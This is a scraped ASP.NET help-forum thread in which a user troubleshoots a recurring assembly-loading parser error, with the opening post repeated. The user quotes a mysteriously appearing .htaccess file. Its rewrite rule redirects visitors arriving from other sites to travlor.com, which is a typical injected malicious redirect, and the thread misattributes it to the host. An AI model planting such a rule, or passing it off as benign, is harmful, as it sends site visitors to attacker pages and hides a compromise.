I am having a weired problem at a working web site
The web site was working fine since 2 months, now it shows error:
Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Could not load the assembly 'App_Web_ir1tlux4'. Make sure that it is compiled before accessing the page. Line 1: <%@ page title="MIS for Cattle & Buffalo - Home" language="C#" masterpagefile="~/MainMaster.master" autoeventwireup="true" inherits="index,
App_Web_ir1tlux4" %>
Now I dont know how to fix it. I dont know why it appends inherits="index,App_Web_ir1tlux4" %>
at the end of page directive, it is not there in my actual aspx page, but when I publish
it, it appears in every published aspx page.
In fact there are 3 files inside my bin folder that appear in different published
aspx pages inside inherits attribute:
The weired thing is, if I reupload a fresh published version, the web site will
work fine for 1/2 hours then again it will show the above error.
Please help
I have tried with different modifications in web.config file and other
suggestions on forums.asp.net in similar threads but nothing seems to work for me
Also a file .htaccess with the following contents appears only in the FTP I think when this file is added by
hosting company server, then the problem is started:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://travlor.com/acgu.html [L,R]
</IfModule>
This is all error I had
and I think that it has to do something with hosting company
as last night I re-published the web site on hosting machine, and it was fine
today morning, it was again problematic then I published it again in morning
and since then (17+) hrs it is working fine, no issue now
If I get the same error again, I will post here, or set the thread as resolved otherwise
where is ur attribute CodeBehind="Yourpage.aspx.cs" on page.pls write this tag on <%@page> directive and publish ur website under Publish Method: File System and upload whole folder on ur webserver nw run ur website and configure ur website application pool
version as ur devlopment framework version on webserver hope it helps.
usman400
Contributor
3503 Points
721 Posts
Wiered Problem in My Web Site
Dec 23, 2012 03:29 AM|LINK
I am having a weired problem at a working web site
The web site was working fine since 2 months, now it shows error:
Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.
Parser Error Message: Could not load the assembly 'App_Web_ir1tlux4'. Make sure that it is compiled before accessing the page.
Line 1: <%@ page title="MIS for Cattle & Buffalo - Home" language="C#" masterpagefile="~/MainMaster.master" autoeventwireup="true" inherits="index, App_Web_ir1tlux4" %>
Now I dont know how to fix it. I dont know why it appends inherits="index, App_Web_ir1tlux4" %>
at the end of page directive, it is not there in my actual aspx page, but when I publish
it, it appears in every published aspx page.
In fact there are 3 files inside my bin folder that appear in different published
aspx pages inside inherits attribute:
App_Web_k0rv45k.dll
App_Web_ii5wr0i.dll
App_Web_ry1s4rf.dll
The weired thing is, if I reupload a fresh published version, the web site will
work fine for 1/2 hours then again it will show the above error.
Please help
I have tried with different modifications in web.config file and other
suggestions on forums.asp.net in similar threads but nothing seems to work for me
Also a file .htaccess with the following contents appears only in the FTP I think when this file is added by
hosting company server, then the problem is started:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://travlor.com/acgu.html [L,R]
</IfModule>
oned_gk
All-Star
31427 Points
6419 Posts
Re: Wiered Problem in My Web Site
Dec 23, 2012 06:26 AM|LINK
Can you post more detailed error message?
usman400
Contributor
3503 Points
721 Posts
Re: Wiered Problem in My Web Site
Dec 23, 2012 03:45 PM|LINK
This is all error I had
and I think that it has to do something with hosting company
as last night I re-published the web site on hosting machine, and it was fine
today morning, it was again problematic then I published it again in morning
and since then (17+) hrs it is working fine, no issue now
If I get the same error again, I will post here, or set the thread as resolved otherwise
Thanks
rachanapandy...
Member
10 Points
8 Posts
Re: Wiered Problem in My Web Site
Dec 24, 2012 06:31 AM|LINK
where is ur attribute CodeBehind="Yourpage.aspx.cs" on page.pls write this tag on <%@page> directive and publish ur website under Publish Method: File System and upload whole folder on ur webserver nw run ur website and configure ur website application pool version as ur devlopment framework version on webserver hope it helps.
usman400
Contributor
3503 Points
721 Posts
Re: Wiered Problem in My Web Site
Dec 24, 2012 08:29 AM|LINK
It is working fine now (almost 2 days)
so I think the hosting company IIS server setting could have changed my web site folder as Application
As did nothing new and it is working fine